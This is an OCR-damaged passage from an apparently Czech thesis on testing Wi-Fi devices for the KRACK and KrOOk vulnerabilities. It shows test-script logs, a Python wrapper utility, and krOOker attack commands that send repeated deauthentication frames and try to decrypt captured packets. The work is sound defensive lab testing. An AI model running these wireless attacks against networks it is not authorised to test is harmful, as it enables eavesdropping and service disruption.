wlanO: STA 20:47:da: 16 aO 17 RADIUS: starting accounting session 25807 

FFF266F4679 
[09:10:26] 20:47:da: 16 aO 17: 4-way handshake completed (RSN) 
[09:10:26] 20:47:da: 16 aO 17: DHCP reply 192.168.100.2 to 20:47:da:16:a0:17 
[09:10:26] 20:47:da: 16 aO 17: DHCP reply 192.168.100.2 to 20:47:da:16:a0:17 
[09:10:26] 20:47:da: 16 aO 17: sending a new 4-way message 3 where the GTK 

has a zero RSC 
[09:10:26] 20:47:da: 16 aO 17: received a new message 4 
[09:10:27] 20:47:da: 16 aO 17: client has IP address -> now sending replayed 

broadcast ARP packets 
[09:10:28] 20:47:da: 16 aO 17: sending broadcast ARP to 192.168.100.3 to 

192.168.100.1 
[09:10:28] 20:47:da: 16 aO 17: sending broadcast ARP to 192.168.100.2 to 

192.168.100.1 
[09:10:28] 20:47:da: 16 aO 17: sending a new 4-way message 3 where the GTK 

has a zero RSC 
[09:10:28] 20:47:da: 16 aO 17: received a new message 4 
[09:10:29] 20:47:da: 16 aO 17: sending broadcast ARP to 192.168.100.3 to 

192.168.100.1 
[09:10:30] 20:47:da: 16 aO 17: sending broadcast ARP to 192.168.100.2 to 

192.168.100.1 
[09:10:30] 20:47:da: 16 aO 17: sending a new 4-way message 3 where the GTK 

has a zero RSC 
[09:10:30] 20:47:da: 16 aO 17: received a new message 4 
[09:10:31] 20:47:da: 16 aO 17: Client DOES NT reinstall the group key in 

the 4-way handshake (this is good) 
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Skripty maj í výpis , k te rý indikuje stav a výsledek tes tů . Pokud klientské zařízení 

projde všemi testy dá se říct, že není zrani te lné vůči ú toku K R A C K . 

N a výpisu 4.1 lze vidět jeden z klientských tes tů . Poslední řádek výpisu oznamuje, 

že klient používá klíče správně a není tak zrani te lný vůči t é to zranitelnosti. Os t a tn í 

testy b ě h e m exper imentá ln ího tes tování dopadly stejně. 

Dalš ím testem, k te rý se v balíčku skr ip tů nachází , je test A P . Pro tento test nesmí 

být W i F i karta v moni torovacím režimu a je nutno provést ješ tě další nas tavení . 

Nejdříve je nutno vytvoř i t konfigurační soubor pro aplikaci wpa supplicant, k te rá 

je zde použi ta . W p a supplicant je démon, k te rý na s t raně klienta vytvář í software 

n u t n ý k autentizaci pomocí W P A a W P A 2 . 

Nový soubor lze vytvoř i t např ík lad př íkazem 

g e d i t wpa_supplicant.conf 

Konfigurační soubor wpa supplicant může být velmi složitý ale pro test stačí 

jen velmi z jednodušená verze obsahující jen pá r údajů , jak je vidět na výpisu 4.2. 

Výpis 4.2: Obsah souboru wpa supplicant.conf 

ctrl_interface=/var/run/wpa_supplicant 
network={ 

ssid="TestNet" 
key_mgmt=FT-PSK 
psk="abcdefgh" 

} 

Hodnoty „ssid" a „psk" je nutno nahradit př ís lušnými údaj i tes tovaného A P . 

Hodnota „key-mgmt" indikuje způsob autentizace. Pro normáln í W P A autentizaci 

by např ík lad měla hodnotu „WPA-PSK". Jelikož jsou na K R A C K zrani te lné A P 

používající funkci F T , je hodnota „FT-PSK" . Tento soubor je nutno uložit do složky 

krackattack. Nejprve je dobré vyzkoušet , zda wpa_supplicant správně funguje: 

wpa_supplicant -D nl80211 - i wlanO -c network.conf 

V ý s t u p e m bude nejprve hláška „Succesfully initialized wpa_supplicant" a po t é 

se aplikace zkusí př ipoj i t k A P . Pokud se zdánlivě nic nestane, bud m á konfigu­

rační soubor špa tné hodnoty, nebo tes tované A P nepodporuje funkci F T . V tom 

př ípadě není nutno postupovat dále, A P není zrani te lné . Pro tože tes tované A P tuto 

funkci nepodporuje, byl výs tup takový. Jelikož tedy zbytek postupu nebylo možno 

vyzkoušet komple tně , jsou použi ty výpisy z oficiální dokumentace skr iptů . 

Pokud př ipojení fungovalo je možné přejít k s a m o t n é m u testu: 

. / k r a c k - f t - t e s t . p y wpa_supplicant -D nl80211 - i wlanO -c 
network.conf 
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Poté , co dojde k př ipojení k A P , je p o t ř e b a v novém te rminá lu provést příkaz: 

wpa_cli - i wlanO 

Tento př íkaz spust í pomocnou ut i l i tu wpa supplicant zvanou wpa cl i . Dokáže 

vypisovat informace o síti a okolních síťových připojeních a zároveň umožňuje ovlá­

dán í wpa supplicant. W p a cli m á svoji v las tn í př íkazovou řádku . Pomocí př íkazu: 

s t a t u s 

dojde k výpisu informací o ak tuá ln ím připojení . Je dobré si zaznamenat M A C 

adresu tohoto připojení . Dále př íkazem: 

s c a n _ r e s u l t s 

dojde ke skenu okolních A P , p o d o b n ě jako např ík lad u aplikace airodump^ng. 

Pokud m á tes tovaná síť více A P (a tedy využívá funkce F T ) , měly by se ve vý­

pisu objevit i další př í s tupové body se s te jným SSID jako tes tované A P . Př ík ladem 

takového výpisu může být výpis 4.3. 

Výpis 4.3: Výpis scan results v programu wpa cli 

'> scan_results 
bssid / frequency / signál l e v e l / flags / ssi d 
c4:e9:84:db:fb:7b 2412 -21 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet 
c4:e9:84:ld:a5:bc 2412 -31 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet, 

Nakonec je p o t ř e b a provést příkaz: 

roam b s s i d 

, kde bssid označuje bssid j iného A P , než je tes tované A P . W p a supplicant se 

t í m t o př íkazem přepoj í a tak je využ i ta funkce F T . Pos ledním krokem je simulování 

provozu mezi klientem a A P . V novém te rminá lu lze provést: 

a r p i n g - i wlanO ip 

, kde ip je IP adresa tes tovaného A P . Ted už jen zbývá prozkoumat výs tup testu. 

Testovací skript se opakovaně pokouší o asociaci a sleduje používané IV . Pokud je 

nějaký I V znovupouži t , j e d n á se o zranitelnost K R A C K . Pokud jsou I V j iné, A P není 

zrani te lné. Výpisem zrani te lného A P může být výpis 4.4. F iná ln í řádek informuje o 

zranitelnosti. 

Výpis 4.4: Výpis skriptu krack-ft-test v p ř ípadě zrani te lné A P 

[15:59:24] Replaying Reassociation Request 
[15:59:25] AP transmitted data using IV=1 (seq=0) 
[15:59:25] Replaying Reassociation Request 
[15:59:26] AP transmitted data using IV=1 (seq=0) 
[15:59:26] IV reuse detected (IV=1, seq=0). AP i s vulnerable! 

I _ I 
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Výpis 4.5: Výpis krack-ft-test v p ř ípadě bezpečné A P 

[16:00:49] Replaying Reassociation Request 
[16:00:49] AP transmitted data using IV=1 (seq=0) 
[16:00:50] AP transmitted data using IV=2 (seq=l) 
[16:00:50] Replaying Reassociation Request 
[16:00:51] AP transmitted data using IV=3 (seq=2) 
[16:00:51] Replaying Reassociation Request 
[16:00:52] AP transmitted data using IV=4 (seq=3) 

Pro A P , k teré není zrani te lné může být výpis 4.5. Zde je vidět , že se I V neopakují , 

zařízení tedy není zrani te lné a v tento moment je test dokončen. 

4 .7 Vlastní u t i l i t a 

Pro zjednodušení celého postupu bude vy tvořena vlas tn í ut i l i ta , k t e r á některé kroky 

automatizuje a dá uživateli lepší přehled o tom, jak provést testy. 

4.7 .1 Návrh u t i l i t y 

Nejjednodušší způsob vytvoření ut i l i ty je naprogramovat j ednoduchý skript v jazyku 

Python. Ten je v K a l i dobře podporován a skripty, k teré se skrze uti l i ty budou 

spouš tě t , t aké používají Python. 

Je t aké dobré navrhnout funkce, k te ré by ut i l i ta měla splňovat. Zaprvé to bude 

au tomat ické spouš tění testovacích skr ip tů a jejich výběr uživatelem. Další funkcí je 

zpracování výsledků tes tů . Dále by měla ut i l i ta informovat uživatele o testech, ale 

zároveň schovat méně po t ř ebné část i výpisu jednot l ivých skr iptů , aby jej nezahltila. 

Jelikož testy vyžadují urč i tý způsob spolupráce od uživatele, musí ut i l i ta na tyto 

části upozornit a n a b á d a t jej ke sp rávnému postupu. Konečně musí nás t ro j umě t 

zpracovat n e s t a n d a r d n í stavy a chyby. 

Počá t ečn ím vstupem uživatele bude, k te rý typ t e s tů chce provést (klient nebo 

A P ) a k teré bezdrá tové rozhran í bude využívat . U t i l i t a zkusí, zda rozhraní existuje, 

a po t é přejde k s a m o t n é m u testování . Základní schéma uti l i ty lze vidět na obrázku 

4.41. 

Pokud budou vybrány klientské testy, začne ut i l i ta p o s t u p n ě spouš tě t jednot l ivé 

skripty. P ř i každém testu musí uživatel př ipoj i t svoje tes tované zařízení k nově vy­

tvořenému A P , což musí ut i l i ta dá t najevo. N a základě v ý s t u p u aplikace vyhodnot í , 

zda zařízení testem prošlo nebo ne. Po dokončení testu je spuš těn další ze skriptů, 

opět je uživatel vyzván k př ipojení a t í m t o způsobem ut i l i ta pokračuje , dokud nejsou 

klientské testy vyčerpány. F iná ln ím v ý s t u p e m je pak evaluace všech t e s tů a zda je 

zařízení zrani te lné nebo ne. Schéma kl ientských t e s tů lze vidět na obrázku 4.42. 
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Pokud bude v y b r á n test A P , dojde nejdříve k vytvoření konfiguračního souboru 

na základě úda jů zadaných uživatelem. Po té ut i l i ta spus t í wpa supplicant a otes­

tuje, zda je konfigurační soubor správný a potenciá lně zda A P vůbec podporuje 

F T . Pokud ano, je spuš těn testovací skript. O d uživatele je nutno zadání IP adresy 

A P , kvůli vytvoření provozu pomocí „arping". U t i l i t a dále spus t í program wpa cli 

a nab ídne uživatele, aby provedl po t ř ebné příkazy. Po té dojde k vyhodnocen í testu. 

Schéma tohoto testu lze vidět na obrázku 4.43. 

Základní diagram utility 
KrackHelper 

Bezdrátové rozhraní 
(Interface) 

Základní hodnota = wlanO 

Proměnná Interface 

Ano I—Ne­

ukončení 
utility 

Spuštění 

Argumenty při spuštění 

Mód 
(Mode) 

"client" nebo "ap" 
Základní hodnota = client 

5 
Rozšířený výpis 

(Verbose) 

Základní hodnota=False 

True False 

Výpisy jsou 
rozšířené 

Výpisy nejsou 
rozšířené 

client ap 

Test klienta Test AP 

Výpis výsledků 
klientských testů 

Výpis výsledku testu 
AP 

Výpis návodu 
(Initial) 

Základní hodnota= False 

False 

Výpis souboru \ 
KrackHelperReadme ] 

T 
Ukončení 

utility 

Obr. 4.41: Základní schéma uti l i ty 
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Start klientských \ 
testů I 

Postupné spuštění skriptů 
krack-test-client.py 

KrackHelper: Test klienta 

Obr. 4.42: Test klienta v ut i l i tě KrackHelper 
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Vytváření 
souboru 

Zadání SSID 

Zadání hesla 

Obr. 4.43: Test A P v ut i l i tě KrackHelper 
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4 .7 .2 Vytvoření u t i l i t y 

Ut i l i t a je po jmenována KrackHelper a je nap rog ramována v jazyce Python, kon­

kré tně ve verzi Python 3. Urči té použ i té knihovny jsou dos tupné jen pro tuto verzi. 

Spuštění ut i l i ty tak lze uskutečni t pomocí př íkazu: 

python3 KrackHelper.py 

Přep ínán í mezi m ó d y ( A P nebo klient) a používané rozhraní jsou zadávány po­

mocí a r g u m e n t ů b ě h e m spouš tění utility. V Pythonu toto nejlépe řeší knihovna 

„argparse". P o s t u p n ě se nadefinují jednot l ivé argumenty s t ím, že každý má , jak 

je zvykem, kra tš í a delší verzi. Knihovna také automaticky vytvoř í pomocný vý­

pis, pokud je př íkaz ke spuš těn í špatný. Argumenty, k teré ut i l i ta bere jsou v tomto 

př ípadě: 

• - i nebo —interface - název bezdrá tového rozhraní , základní hodnota je „wlanO" 

• -m nebo —mode - s hodnotou bud „ap" nebo „client", základní hodnota je 

„client" 

• -v nebo —verbose - pokud je argument p ř í t omný je ut i l i ta spuš těna v režimu 

s podrobnějš ími výpisy 

• - i nebo —initial - pokud je argument př í tomný, dojde pouze k výpisu návodu 

na inicializaci K R A C K skr ip tů 

Definici jednoho z a r g u m e n t ů lze vidět na výpisu 4.6 

Výpis 4.6: Definice argumentu 

parser-ad^argumentC'-i','—interface', help^ Interface useď , required 
=False, default="wlanO") 

Pokud tedy není žádný argument specifikován, je ut i l i ta spuš těna v m ó d u testo­

vání klienta, s rozh ran ím „wlanO" a s normáln ími výpisy. Pro spuštění v m ó d u A P , 

s rozhran ím „wlan l " a s podrobně jš ím výpisem by vypadal př íkaz např ík lad takto: 

python3 KrackHelper.py - i wlanl -m ap --verbose 

N a začá tku aplikace p rozkoumá zadané argumenty a pomocí knihovny netifaces 

zjistí, zda vybrané rozhran í existuje. Pokud ano, tak začne testování . 

Spouš tění skr ip tů a dalších pomocných př íkazů ut i l i ta řeší předevš ím pomocí 

knihovny „subprocess". Pomocí ní je spuš těn skript ve formě podprocesu a zároveň 

dojde k vytvoření roury (komunikačního kanálu) s uti l i tou. To pak umožňuje práci 

s v ý s t u p e m skr iptů . Př ík lad spuš tění podprocesu lze vidět na výpisu 4.7 

U testu klienta pak tedy celý proces v y p a d á tak, že je pos tupně pro každý z t e s tů 

vy tvořen podproces. Pomocí roury je zpracováván výs tup tes tů . Pokud je zvolen m ó d 

verbose, tak je vypsán veškerý výs tup testovacích skr iptů , pokud ne, tak je výpis 
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zjednodušený. Uživatel je p o ž á d á n o př ipojení zařízení k A P , čímž započne samotné 

testování . 

Výpis 4.7: Spuštění skriptu na test A P 

test = subprocess.Popen("sudo ./krack-ft-test.py wpa_supplicant -D 
nl80211 - i " + interface + " -c wpa-supplicant.conf", shell=True, 
stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines= 
True, preexec_fn=os.setsid) 

Testovací skripty maj í poměrně dobře zpracovatelný výs tup . Stavů, ve k terých je 

zařízení vyhodnocené jako zrani te lné , je sice několik, ale takový výpis vždy obsahuje 

frázi „this is bad". Naopak, u bezpečných zařízení výpis obsahuje „this is good". Na 

základě toho tedy lze klasifikovat testy podle výsledku. T ř e t í m stavem je př ípad, 

kdy se zařízení b ě h e m testu odpojí , to je ve skriptech indikováno hláškou „Device 

dissasociated". V tomto př ípadě je test klasifikován jako přerušený. Pokud dojde 

k jednomu z těch to t ř í s tavů, je daný test ukončen a ut i l i ta spust í další. Uživatel 

je opět vyzván, aby připoji l své zařízení. Takhle jsou pos tupně vyčerpány všechny 

verze klientského testu. 

N a výpisu 4.8 lze vidět př ík lad zpracování výs tupu . P o d m í n k a while cyklu zjiš­

ťuje, zda proces, pojmenovaný „procExe" nebyl již ukončen. Pokud proces stále 

běží, tak je do p roměnné „line" uložen ak tuá ln í řádek výpisu procesu. N a základě 

podmínek je pak zpracován, jako př íklad jsou ve výpisu uvedeny prvn í dvě. Pokud 

dojde k podmínce , k t e rá značí konec testu, je funkce ukončena s návra tovou hod­

notou označující výsledek. Pokud není sp lněna žádná z podmínek , je řádek p ředán 

pomocné funkci „verbose print". Ta řádek vypíše, jen pokud je ut i l i ta spuš těna v 

m ó d u verbose. 

F iná ln ím v ý s t u p e m je pak seznam tes tů , jejich výsledek a finální evaluace zaří­

zení. Pokud jakýkoliv z t e s tů po tv rd í zranitelnost, je zařízení považováno za zrani­

telné. Pokud jsou všechny testy úspěšné , je zařízení považováno za bezpečné. Pokud 

je nějaký test přerušen, je celkový výsledek nekonkluzivní . 

U testu A P je postup složitější kvůli po t ř ebě konfiguračního souboru. P r v n í m 

výpisem uti l i ty je s t ručný popis prerekvizit pro test - podpora 802 . l i r , p ř í tomnos t 

více A P v síti, spuš tění s p rávy root. Test nelze provést , pokud už v pozadí běží 

wpa supplicant. Proto ut i l i ta zjistí, zda t akový to proces probíhá , a p ř ípadně jej 

zastaví . 

U t i l i t a zjistí, zda se ve složce nachází soubor wpa supplicant.conf. Pokud ano, 

zep tá se uživatele, jestli jej chce použí t . Pokud ne, je zavolána metoda c r e a t e w p a , 

k t e rá uživatele provede vy tvořen ím souboru. Nejdříve se zep tá na SSID a heslo A P 

a po t é vytvoř í soubor „wpa supplicant.conf" s po t ř ebnou strukturou. 
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Výpis 4.8: Zpracování výpisu 
while procExe.pollO is None: 

line = procExe.stdout.readlineO 
i f "completed" in line: 

print(Fore.GREEN, "Device connected. Starting test " + i) 
print(Style.RESET_ALL) 
continue 

e l i f "good" in line: 
verbose_print(line) 
print(Fore.GREEN, "Test " + i + " succesful - device not 

vulnerable") 
print(Style.RESET_ALL) 
return 0 

else: 
verbose_print(line) 

Pak už dojde k s a m o t n é m u testu. Podobně jako u manuá ln ího postupu je nejdříve 

vyzkoušena asociace bez testovacího skriptu. Opě t je využi to knihovny subprocess 

a dojde k vytvoření podprocesu s rourou. Výs tup je pak zpracován. Pokud je za­

z n a m e n á n a h láška „ C T R L - E V E N T - C O N N E C T E D " je wpa supplicant považován 

za funkční. Pokud je z a z n a m e n á n a h láška „ C T R L - E V E N T - D I S C O N N E C T E D " , je 

wpa supplicant považován za nefunkční. Uživatel je informován o výsledku výpi­

sem. V př ípadě neúspěchu je ut i l i ta ukončena. Situace, kdy nedojde ani k jednomu 

ze s tavů, nejspíš znamená , že A P nepodporuje F T a je oše t řena časovým limitem 

60 sekund. 

Pokud by l tento test úspěšný, přejde se k tes tování zranitelnosti. K r á t k ý m me­

zikrokem je ješ tě vymazán í souboru wlanO (respektive se název odkazuje na pou­

žívané rozhraní) nacházejícím se ve složce / va r / run /wpa supplicant/. J e d n á se o 

pomocný soubor aplikace wpa_supplicant, k t e rý se m á po ukončení vymazat. Pokud 

tomu tak není, dojde při dalš ím spuš tění aplikace k chybě. Toto nastane především 

při nesp rávném ukončení aplikace wpa supplicant. Proto prevent ivně ut i l i ta tento 

soubor smaže. Kvůli simulování provozu se zde také aplikace zep tá na IP adresu A P . 

Pomoc í arping začne ut i l i ta simulovat provoz, opět je využi to knihovny subpro-

cesses. Stejně je tomu i u spuš tění s amotného testu. Opě t je vy tvořena roura a vý­

stup je zpracováván. Po té , co dojde k př ipojení na A P , což je opět potvrzeno hláškou 

„ C T R L - E V E N T - C O N N E C T E D " , je spuš těna ut i l i ta wpa_c l i . Jelikož však uživatel 
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s touto uti l i tou musí interagovat, je po t ř eba , aby se spustila v novém te rminá lu . 

To je vyřešeno t ím, že mís to p ř ímého spuš tění ut i l i ty wpa cli je spuš těna nová 

instance t e rminá lu gnome-terminal s počá tečn ím argumentem, k te rý spus t í wpa cli . 

A n i toto však není úplně j ednoduché , počá tečn í argumenty te rminá lu to t iž nemohou 

obsahovat příkazy, k teré jsou nač teny až po jeho úp lném nas ta r tování . Nelze tedy 

jednoduše zadat jako příkaz: 

wpa_cli - i wlanO 

protože t e rminá l tento příkaz nezná b ě h e m svého startu. Řešení pak nabízí vy­

tvoření pomocného bash skriptu (nazvaného cliHelp.sh), k te rý tento př íkaz spust í . 

Spuštění bash skriptu je b ě h e m startu t e rminá lu možné. Jelikož název rozhraní je 

p roměnnou , bash skript bude také př i j ímat argument. J ednoduchý kód tohoto po­

mocného skriptu je vidět na výpisu 4.9. 

Výpis 4.9: Pomocný skript cliHelp.sh 

#!/bin/bash 
INTERFACE=$1 
wpa_cli - i $INTERFACE 

Výsledkem tedy je, že se uživateli objeví na obrazovce nový te rminá l se spuš těným 

nás t ro jem wpa cli . V p ů v o d n í m te rminá lu pak ut i l i ta vypíše další postup, za t ímco 

dále zpracovává výs tup testovacího skriptu. 

P o d m í n k y ukončení testu jsou dvě. Pokud je zařízení zrani te lné, ve v ý s t u p u 

skriptu by se měl objevit řádek oznamující, že došlo k znovupouži t í inicializačního 

vektoru. Konkré tně obsahuje hlášku „ A P is vulnerable". Pokud zařízení není zra­

ni telné, není výs tup úplně jednoznačný, test nikdy př ímo neoznámí , že A P zrani­

telné není , jen se opakovaně opakují h lášky o žádostech o asociaci a lze vidět , že 

A P neopakuje IV. Proto řešení v ut i l i tě není úplně j ednoduché . Ut i l i t a , tak bude 

předpok láda t , že pokud se asociace několikrát opakovala a A P neopakuje IV , tedy 

nebyla splněna p o d m í n k a zranitelnosti, A P zrani te lné není . Test je tedy dokončen s 

výsledkem v y p s a n ý m do t e rminá lu a ut i l i ta se ukončí. 

4 . 7 . 3 Testování pomocí u t i l i t y 

P r v n í m krokem je umís t i t t ř i soubory - KrackHelper.py, cliHelp.sh a KrackHel-

perReadme.txt - do složky „kracka t tacks-scr ip t s /kracka t tack" . Dále je n u t n é provést 

instalaci samotných krackattacks-scripts skr ip tů , např . za pomocí návodu v souboru 

„KrackHelperReadme. tx t" . V n ě m jsou také vypsány prerekvizity util i ty: 

pip3 i n s t a l l n e t i f a c e s 
pip3 i n s t a l l colorama 
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pip3 i n s t a l l argparse 

Spuštění ut i l i ty v m ó d u pro klienta, s rozhran ím wlanO a s normáln ími výpisy 

lze provést: 

python3 KrackHelper.py 

P r ů b ě h celého tes tování je pak vidět na výpisech. Po inicializaci rozhraní začne 

první test a ut i l i ta vyzve uživatele k př ipojení zařízení a po t é provede test. Jeden 

takový test lze vidět na výpisu 4.10. 

Je vidět , že test by l úspěšný a zařízení vůči němu není zrani te lné . U t i l i t a pak 

podobně provede další 4 testy. F iná ln ím v ý s t u p e m je pak celková evaluace t e s tů a 

zabezpečení jak je vidět na výpisu 4.11. 

Všechny testy byly úspěšné, zařízení je tedy považováno za bezpečné. P ř ípad , 

kdy se b ě h e m testu zařízení odpojilo je vidět na výpisu 4.12. 

F iná ln í výpis pak v tomto př ípadě může vypadat jako na výpisu 4.13. Nebylo 

možné dokončit všechny testy a proto nelze evaluovat celkovou bezpečnost . 

Výpis 4.10: Výpis úspěšného testu klienta 

Interface found 
Using interface wlanO 
Connect to 'testnetwork' using your device (password = 'abcdefgh'). 

Make sure i t uses DHCP! 
Device connected. Starting test 1 

Test 1 succesful - device not vulnerable 

Výpis 4.11: F iná ln í výpis a evaluace t e s tů 

KRACK testing completed. 
Test 1 result: PASSED 
Test 2 result: PASSED 
Test 3 result: PASSED 
Test 4 result: PASSED 
Test 5 result: PASSED 
A l l tests passed - the device is not vulnerable. 

Výpis 4.12: Výpis testu klienta při odpojení 

Connect to 'testnetwork' using your device (password = 'abcdefgh'). 
Make sure i t uses DHCP! 

Device connected. Starting test 1 

Device disconnected - aborting test 
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Výpis 4.13: Finální výpis a neúspšná evaluace t e s tů 

KRACK testing completed. 
Test 1 result ABORTED 
Test 2 result PASSED 
Test 3 result PASSED 
Test 4 result PASSED 
Test 5 result ABORTED 
Not a l l tests were completed 

Výpis 4.14: Test A P a vytvářen í konfiguračního souboru 

First, make sure the AP you are testing supports the 802.llr protocol ( 
Fast Transition). If i t doesn't, i t ' s NOT vulnerable and there i s no 
point in testing i t . You w i l l also need more than one AP in the 

network. 

Second, make sure to run this in root. 

Third, make sure your interface is NOT in monitor mode 

Fourth, find the IP address of the AP. 

Continue? (y/n): y 

No WPA Config 

WPA config f i l e creation 

Enter the name of the AP's SSID: 
TestNet 
Enter the AP's password: 
abcdefgh 
WPA config created! 

Pro použi t í A P testu lze provést příkaz: 

python3 KrackHelper.py -m ap 

N a výpisu 4.14 lze vidět počá tek testu a vytváření konfiguračního souboru. 

Nejdřív jsou vypsány po t ř ebné p o d m í n k y pro test a dále se ut i l i ta pokusí nají t kon­

figurační soubor. To se nepodař í , a proto ut i l i ta přejde k vytvoření tohoto souboru. 

Uživatel zadá údaje o A P a soubor je vytvořen. 
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Vzhledem k tomu, že tes tované A P nevyužívá funkci 802 . l i r , nelze provést A P 

test komple tně . Test se dostane jen do prvn í fáze, kdy se nezdař í test asociace, což 

lze vidět na výpisu 4.15. 

Výpis 4.15: Neúspěšná asociace k A P 

Association test: 
If nothing seems to happen, tne AP likely doesn't support FT 

Po 60 sekundách, je ut i l i ta ukončena. A b y došlo k ukázce další funkčnosti stačí 

upravit soubor wpa supplicant.conf nahrazen ím údaje „ F T - P S K " za „WPA-PSK". 

Test zranitelnosti tak stále nebude fungovat, ale alespoň se ut i l i ta dostane k poslední 

fázi. Dojde k dotazu na IP adresu a v novém te rminá lu je o tevřen wpa cl i , jak je 

vidět na obrázku 4.44. P ů v o d n í t e rminá l pak ješ tě vypíše, k teré př íkazy provést v 

nově o tevřeném okně. 

Jelikož tes tované A P nepodporuje F T , není p o t ř e b a s tes tovacím skriptem po­

kračovat . Bohužel tak nelze vyzkoušet , zda správně funguje evaluace výsledků, ale 

vzhledem k tomu, že na s te jném principu fungují i klientské testy, k teré byly evalu-

ovány úspěšně , d á se p ředpok láda t úspěšnost i v tomto př ípadě . 

Celkově tedy vy tvořená ut i l i ta splňuje navrhnutou funkčnost a b ě h e m testování 

byly p rokázány stejné výsledky jako u jednot l ivých tes tů . B y l t aké ukázán postup 

při vy tvářen í nějakého testovacího nás t ro je . 
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r o o t @ o s b o x e s : - / k r a c k a t t a t k s - s c r i p t s / k r a c k a t t a c k 

F i l e Ed i t V i e w S e a r c h T e r m i n a l H e l p 

- • x 

A s s o c i a t i o n t e s t : 

I f n o t h i n g s e e m s t o h a p p e n , t h e A P l i k e l y d o e s n ' t s u p p o r t FT 

A s s o c i a t i o n s u c c e s f u l , s t a r t i n g t e s t . 

E n t e r A P I P a d d r e s s : 
1 9 2 . 1 6 8 . 1 . 1 
S t a r t i n g n e w t e r m i n a l w i t h w p a c l i 

# g i o m o d u l e g e t d e f a u l t : F o u n d d e f a u l t i m p l e m e n t a t i o n g v f s ( G D a e m o n V f s ) f o r ' g i o - v f s ' 
# g i o m o d u l e g e t d e f a u l t : F o u n d d e f a u l t i m p l e m e n t a t i o n d c o n f ( D C o n f S e t t i n g s B a c k e n d ) f o r 

' g s e t t i n g s - b a c k e n d ' _ 
# w a t c h f a s t : " / o r g / g n o m e / t e r m i n a l / l e g a c y / " ( e s t a b l i s h i n g : 9 , a c t i v e : 9 ) 
# u n w a t c h f a s t : " / o r g / g n o m e / t e r m i n a l / l e g a c y / " ( a c t i v e : 0 , e s t a b l i s h i n g : 1 ) 
# w a t c h e s t a b l i s h e d : " / o r g / g n o m e / t e r m i n a l / l e g a c y / " ( e s t a b l i s h i n g : 0 ) 

I n t h e n e w l y o p e n e d t e r m i n a l t y p e ' s c a n r e s u l t s ' t o s e e o t h e r A P s . 
T y p e ' r o a m M A C , w h e r e MAC i s t h e MAC a d d r e s s o f a n A P , t h a t ' s i n t h e s a m e 
S S I D ) a s t h e o n e b e i n g t e s t e d . 

n e t w o r k 

-

T e r m i n a l 

F i l e Ed i t V i e w S e a r c h T e r m i n a l H e l p 

e © e 

w p a c l i v Z . 9 
C o p y r i g h t ( c ) 2 9 0 4 - 2 0 1 9 , J o u n i M a l i n e n < j @ w l . f i > a n d c o n t r i b u t o r s 

T h i s s o f t w a r e may b e d i s t r i b u t e d u n d e r t h e t e r m s o f t h e BSD l i c e n s e . 
S e e README f o r m o r e d e t a i l s . 

I n t e r a c t i v e mode 

> 1 

Obr. 4.44: D r u h á fáze testu A P a ut i l i ta w p a _ c l i 

4 .8 KrOOk 

K tes tování ú toku KrOOk lze použí t u t i l i tu KrOOker. Stačí j i s t áhnou t ze zdrojové 

s t r ánky např ík lad pomocí : 

g i t cloně https://github.com/akabel/krOOker 

T í m je vy tvořena složka se skriptem. Ut i l i t a bude sledovat provoz mezi A P a 

klientem a pokusí se provést ú tok KrOOk, a pokud je cíl zranitelný, výsledkem by 

měly být dešifrované pakety. KrOOker dokáže ú toč i t jak na A P , tak na klienta v 

závislosti na uživatelově volbě. 

Pro ú tok na klienta lze použí t př íkaz: 
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python3 krOOker.py - i wlanO -b F4:EC:38:B2:55:F2 -c 
20:47:DA:16:AO:17 - t c l i e n t 

Argument specifikuje rozhraní , ,,-b" je bssid A P , ,,-c" je M A C adresa klienta 

a ,,-t" je cíl ú toku . Zároveň je p o t ř e b a připoj i t klientské zařízení k d a n é m u A P a 

začít simulovat větší provoz. Toho lze dosáhnou t aplikací Packets Generá tor , jak je 

vidět na obrázku 4.46. Klient pošle velké množs tv í T C P pake tů , k te ré by se měly 

začít objevovat v bufferu W i F i čipu. Pak lze pouze čekat na ut i l i tu , dokud se ú tok 

nezdaří . 

KrOOker opakovaně posílá klientovi žádost i o odpojení a t í m se snaží dosáhnou t 

stavu, kdy zařízení potenciá lně pošle pakety zašifrované samými nulami. Schéma 

ú toku lze vidět na obrázku 4.45. Výs tup programu v tomto př ípadě pak lze vidět na 

výpisu 4.16. J e d n á se pouze o část celého výpisu, i po několika minu t ách se pouze 

opakovala s te jná hláška. Je vidět , že se očividně ú tok nezdaři l , u t i l i ta opakovaně 

posílá žádost i , což se projevilo i na zařízení, k te ré se kons tan tně od A P odpojuje, 

nikdy však nedojde k dešifrování pake tů . Je velmi p ravděpodobné , že zařízení není 

zrani te lné. 

Výpis 4.16: Výpis ut i l i ty KrOOker při tes tování klienta 

[11:22:47.131889] [+] The Client device 20:47:da:16:a0:17 w i l l be the 
target 

[11:22:51.157609] [+] Disassociation frames (reason 7) sent to target 
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2 

[11:22:55.169286] [+] Disassociation frames (reason 7) sent to target 
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2 

[11:22:59.180474] [+] Disassociation frames (reason 7) sent to target 
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2 

[11:23:03.192174][+] Disassociation frames (reason 7) sent to target 
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2 

[11:23:07.203012][+] Disassociation frames (reason 7) sent to target 
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2 

[11:23:11.214044][+] Disassociation frames (reason 7) sent to target 
20:47:da:16:a0:17 as sender endpoint f4:ec:38:b2:55:f2 
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Buffer paketů: 
Paket A, Paket B 

Klíč = T K 

Buffer paketů: 
Paket B 

Klíč = 00000. . 

Šifrovaná komunikace 
Paket A , klíč = T K 

Deautentizační 
paket 

Šifrovaná komunikace 
Paket B, klíč = 00000.. . 

KrOOker: 
vyšle deautentizační 

paket 

KrOOker: 
zkusí dešifrovat paket B 

pomocí TK=00000. . . 

KrOOker: 
obsah paketu B 

Klient Testovací P C 

Obr. 4.45: Schéma ú toku na KrOOk na klientské zařízení 

Útok na A P lze spustit př íkazem: 

python3 krOOker . p y - i wlanO -b F4:EC:38:B2 : 55:F2 -c 
20 : 47 : DA : 16 : AO : 17 - t ap 

Výpis 4.17: Výpis ut i l i ty KrOOker při tes tování A P 

[14:06:30.601712][+] The AP f4:ec:38:b2:55:f2 w i l l be the target 
